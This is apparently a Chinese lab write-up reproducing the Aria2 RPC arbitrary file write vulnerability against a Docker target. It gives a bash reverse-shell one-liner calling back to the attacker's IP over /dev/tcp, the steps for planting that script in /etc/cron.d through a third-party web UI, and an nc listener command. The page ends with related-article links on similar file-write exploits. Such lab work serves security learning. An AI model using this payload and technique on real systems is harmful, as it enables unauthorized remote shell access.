目录:

  1. 简介
  2. 漏洞描述
  3. payload
  4. 漏洞复现

一、Aria2介绍

  Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。

二、漏洞描述

  通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。

三、payload

  shell脚本:

#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1

  站点;http://binux.github.io/yaaw/demo/#

四、复现

  靶机ip:192.168.183.134:6800

  攻击机:192.168.183.129

  直接访问aria2如下:

  1.rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置  json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/,有时间继续补充)

    2.设置下载任务,填写shell的url,及受害主机shell文件的存储路径

  

   3.确定添加后,可以到容器下查看,文件确实已下载到定时目录下,在被反弹shell的攻击机下监听端口 nc -lvvp port

   这里我遇到一些问题,cron.d下的shell文件没有执行,那么我们检查一下,是否是脚本有问题导致的,还是定时任务的一些问题,如两台主机时间不同步等。。

  分析过程:

  1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK

  2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。

  3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。

  

综上,这个任意文件写入漏洞是由于服务端没有对写入做一个身份验证。

Aria2任意文件写入漏洞的更多相关文章

  1. ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)

    ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...

  2. 致远A8任意文件写入漏洞_getshell_exp

    近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任 ...

  3. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

  4. ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...

  5. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  6. 74CMS 3.0任意文件写入漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  7. Aria2 任意文件写入

    访问aria2,发现服务已启动并且返回404页面 打开http://binux.github.io/yaaw/demo/#打开yaaw,点击配置按钮,填入运行aria2的目标域名:http://you ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. JeeCMS v7 SSRF导致任意文件写入

    前言: 学习大佬的思路. from先知社区:https://xz.aliyun.com/t/4809 00X1: 是/ueditor/getRemoteImage.jspx 接口 通过构造upfile ...

随机推荐

  1. Linux 常用命令速记

    1.touch:创建文件,比如: touch a.txt   2.vi:编辑修改文件,比如: vi a.txt 打开编辑页面后: a 键:开始输入编辑: Esc键:结束输入内容 :wq:保存文件编辑内 ...

  2. 使用室内三维地图引擎ESMap来管理摄像头设备、消防设备和人员轨迹展示

    目前室内三维地图如何轻量化,能够在手机微信.电脑浏览器等平台快速显示地图,显示的地图性能好,转动地图不卡是大家都要面对的问题, 使用室内三维地图引擎ESMap后目前可以不用操心这方面的问题,开发只需要 ...

  3. Jenkins打造多分支流水线指南

    overview: 多分支工作流程带来了以下几个关键能力: 在代码仓库中,每个新分支都有自己单独的工作流水线(job). 每个工作流水线都记录了对应分支的构建和变更历史. 可以自定义设置流水线随着分支 ...

  4. ehcahe + redis 实现多级缓存

    1,了解数据存储的位置的不同 数据库:存储在磁盘上 redis:存储在内存上 ehcache:应用内缓存 缓存的目的:是为了将数据从一个较慢的介质上读取出来,放到一个较快的介质上,为了下次读取的时候更 ...

  5. Spring中应用的那些设计模式

    设计模式作为工作学习中的枕边书,却时常处于勤说不用的尴尬境地,也不是我们时常忘记,只是一直没有记忆. 今天,我们就设计模式的内在价值做一番探讨,并以spring为例进行讲解,只有领略了其设计的思想理念 ...

  6. [vijos1048]送给圣诞夜的贺卡<DFS剪枝>

    题目链接:https://www.vijos.org/p/1048 很多人一看就想出了思路,不就是一个裸的dfs蛮...但是..在n<=50的情况下,朴素会直接tle..... 然后我就开始剪枝 ...

  7. Pyhton多线程

    在了解多线程前先给大家介绍下并发和并行: 并发:多个任务一起执行 在多任务之间快速切换处理 任务数量大于cpu核数  并行:一个cpu核处理一个任务,多个cpu核同时处理多个任务 任务数量等于或者小于 ...

  8. D - Super Jumping! Jumping! Jumping!

    Nowadays, a kind of chess game called "Super Jumping! Jumping! Jumping!" is very popular i ...

  9. 为什么Swift和Python要抛弃++\--?

    简单好用的++.-- 说到自增(++)\自减(--)运算符,小伙伴们应该都不会陌生,在很多编程语言的代码中,都经常出现它们的身影. 比如常用的for语句 for (int i = 0; i < ...

  10. 《Three.js 入门指南》1.3 - Three JS 功能预览

    [部分中英文对照] Cameras(照相机,控制投影方式) Camera OrthographicCamera 正交相机 PerspectiveCamera 透视相机 Core(核心对象) Buffe ...